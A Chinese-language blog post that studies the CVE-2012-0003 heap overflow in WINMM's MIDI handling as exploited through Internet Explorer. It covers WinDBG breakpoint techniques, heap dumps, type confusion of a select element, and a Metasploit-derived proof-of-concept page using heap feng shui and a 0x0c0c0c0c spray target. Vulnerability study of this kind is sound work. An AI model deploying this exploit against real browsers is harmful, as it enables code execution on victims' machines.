学习堆溢出第二例,CVE-2012-0003

书中形容该漏洞 ”利用技术构造得相当精妙,堪称艺术“ ,故仔细学习

所谓基于导图推算的漏洞分析方法

书中介绍了 ”基于导图推算的漏洞分析方法“ ,即用一个导图来描述出关键数据的传播路径,进而找到相关变量及其含义

对关键地址下断点,并打印出相关变量的值

条件记录断点

书中使用了ImmDBG条件记录断点,我由于不想安装ImmDBG,故使用WinDBG

WinDBG下断点的时候,可以单独下断点,也可在断点后跟随几条指令:

bp DEADBEEF

bp DEADBEEF ".echo hello;"

指令由双引号括起来,多条指令用;间隔,利用该特性便和完成类似ImmDBG的条件记录断点的功能

例如:

bp 76B2D0ED "printf \"v11 = 0x%x \\n\", poi(@ebx+@eax);gc;"

就实现了变量v11的打印

通过这种方式,对关键变量进行打印,能做到辅助分析的效果

条件断点

还是书中的例子,想要[ebx+eax] == 0x73b29f的时候断下来,就可以这样下断点:

bp 76B2D0ED "j (poi(@ebx+@eax) == 0x73b29f) '';'gc'"

poi(@ebx+@eax) == 0x73b29f的时候,只断下,什么也不执行,如果不等的时候,gc命令会让程序继续执行

,这样就实现了类似条件断点的功能

堆溢出

当音轨事件为0x73b29f的时候,会产生堆溢出,原因是程序通过音轨事件的这个数字计算的偏移超出了块的大小

1
2
3
4
(0x73b29f & 0xff) & 0x0f = 0x0f
0x0f << 7 = 0x780
0x780 + ((0x73b29f & 0xff00) >> 8) = 0x832
(0x832 + 0) / 2 = 0x419

在漏洞发生处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=02801071 edi=028014e8
eip=76b2d224 esp=185cfe80 ebp=185cfea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:02801071=08

0:014> db esi
02801071 08 00 00 c1 c6 2d 00 00-00 00 00 9c 35 1e 00 02 .....-......5...
02801081 09 00 00 c2 c6 2d 00 00-00 00 00 30 ed c6 01 02 .....-.....0....
02801091 09 00 00 c3 c6 2d 00 00-00 00 00 70 ee c6 01 02 .....-.....p....
028010a1 09 00 00 c4 c6 2d 00 00-00 00 00 e0 ee c6 01 02 .....-..........
028010b1 09 00 00 c5 c6 2d 00 00-00 00 00 60 ef c6 01 02 .....-.....`....
028010c1 09 00 00 c6 c6 2d 00 00-00 00 00 00 e1 c6 01 02 .....-..........
028010d1 09 00 00 c7 c6 2d 00 00-00 00 00 40 e1 c6 01 02 .....-.....@....
028010e1 09 00 00 c8 c6 2d 00 00-00 00 00 f0 e1 c6 01 02 .....-..........

可以看到这里取出的是08,而这个08恰好是string对象的type。后面的几句的代码中,取出这个08之后,会对其进行增1并放回原处,这样原本是08的这里就变成了09,而09是object的type。众所周知,一个对象的前四个字节是虚表,string的前四个字节是我们传入的字符串,那么我们就相当于控制了一个对象的虚表

再看一下esi这块内存的堆块是怎样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:014> !heap -p -a 02801071 
address 02801071 found in
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02801058 0081 0000 [01] 02801060 00400 - (busy)

0:014> dd 02801060
02801060 00008103 80000000 00000000 01c82ac0
02801070 00000802 002dc6c1 00000000 001e359c
02801080 00000902 002dc6c2 00000000 01c6ed30
02801090 00000902 002dc6c3 00000000 01c6ee70
028010a0 00000902 002dc6c4 00000000 01c6eee0
028010b0 00000902 002dc6c5 00000000 01c6ef60
028010c0 00000902 002dc6c6 00000000 01c6e100
028010d0 00000902 002dc6c7 00000000 01c6e140

这就是html中select控件的对象

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
......
var heap = new heapLib.ie();
var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert

var clones = new Array(1000);

function feng_shui() {
heap.gc();

var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}

var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}

feng_shui();


function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}


</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
trigger();
}
</script>
</head>
<body>
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
<param name="fileName" value="crash.mid">
<param name="SendPlayStateChangeEvents" value="true">
<param NAME="AutoStart" value="True">
<param name="uiMode" value="mini">
<param name="Volume" value="-300">
</object>
</body>
</html>

我这一段是用msf生成的,前面的很大一块是heaplib的代码,所以不用看

单看第三行往后的代码, 可以看到selob.w0就是字符串,其type是08,在midi被播放后会被变成09

剩下的就没啥可说了,随后自己调一下它是如何计算size的。

如果想要利用这个完成shellcode执行的话,就需要先堆喷,在0x0c0c0c0c附近部署shellcode,然后通过执行w0来完成shellcode的执行

关于shellcode,就是最基本的那种,除了对shellcode本身的加密解密用了一些非常不常见的汇编之外,其他都是通常的操作,kernel32!WinExec("calc.exe")